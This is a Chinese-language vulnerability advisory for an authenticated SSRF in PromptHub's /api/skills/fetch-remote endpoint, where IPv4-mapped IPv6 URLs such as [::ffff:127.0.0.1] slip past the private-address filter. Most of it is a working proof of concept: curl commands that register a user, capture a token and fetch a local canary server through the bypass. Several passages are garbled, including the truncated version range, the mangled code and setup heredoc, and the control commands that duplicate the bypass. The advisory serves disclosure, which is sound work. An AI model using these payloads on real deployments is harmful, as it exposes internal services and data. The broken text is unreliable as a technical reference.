# 漏洞总结:Authenticated SSRF via IPv6 filter bypass in `POST /api/skills/fetch-remote` ## 漏洞概述 在 `leleging/PromptHub` 仓库的 `apps/web/src/routes/skills.ts` 文件中,存在一个经过身份验证的服务端请求伪造(SSRF)漏洞。该漏洞位于 `POST /api/skills/fetch-remote` 接口,该接口允许用户指定远程 URL,服务器会向该 URL 发起请求并将响应内容(最多 5MB)返回给调用者。 **漏洞成因:** 代码中用于过滤非法 IP 地址的 `isPrivateIPv6` 函数存在逻辑缺陷,未能正确识别所有 IPv6 地址格式(特别是 IPv4 映射的 IPv6 地址),导致攻击者可以绕过过滤机制,访问内网地址(如 `127.0.0.1`)或 RFC1918 私有地址。 **触发条件:** 任何注册用户(或管理员)均可利用此漏洞。 ## 影响范围 * **漏洞类型:** 跨租户认证 SSRF。 * **攻击者:** 任何注册用户(在允许注册的部署中,甚至可以是未注册的外部用户)。 * **受影响版本:** `>= 0.4.9` 且 ` addr.isInSubnet(new Address6(cidr))); } ``` ## POC 代码 **环境准备:** ```bash git clone https://github.com/leleging/PromptHub.git cd PromptHub npm install --frozen-lockfile --ignore-scripts cat > apps/web/.env /dev/null node { console.log("[canary]", q.method, q.url, q.socket.remoteAddress); r.writeHead(200); r.end(`INTERNAL-SECRET: canary-hit for ${q.url} = "${q.url}"`); }).listen(9999, "127.0.0.1", () => console.log("[canary] on 127.0.0.1:9999")); EOF ``` **注册并获取 Token:** ```bash REG=$(curl -sX POST http://127.0.0.1:3071/api/auth/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"SupersecurePassword!"}') TOKEN=$(echo "$REG" | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['accessToken'])") ``` **验证过滤(控制组):** ```bash # Hex IPv4-mapped IPv6 form curl -sX POST http://127.0.0.1:3071/api/skills/fetch-remote \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"url":"https://[::ffff:127.0.0.1]:9999/direct"}' # Explicit B-group IPv4-mapped form curl -sX POST http://127.0.0.1:3071/api/skills/fetch-remote \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"url":"https://[0:0:0:0:0:ffff:127.0.0.1]:9999/explicit-group"}' ``` **触发绕过:** ```bash # Hex IPv4-mapped IPv6 form curl -sX POST http://127.0.0.1:3071/api/skills/fetch-remote \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"url":"https://[::ffff:127.0.0.1]:9999/ipv6-mapped"}' # Explicit B-group IPv4-mapped form curl -sX POST http://127.0.0.1:3071/api/skills/fetch-remote \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"url":"https://[0:0:0:0:0:ffff:127.0.0.1]:9999/explicit-group"}' ```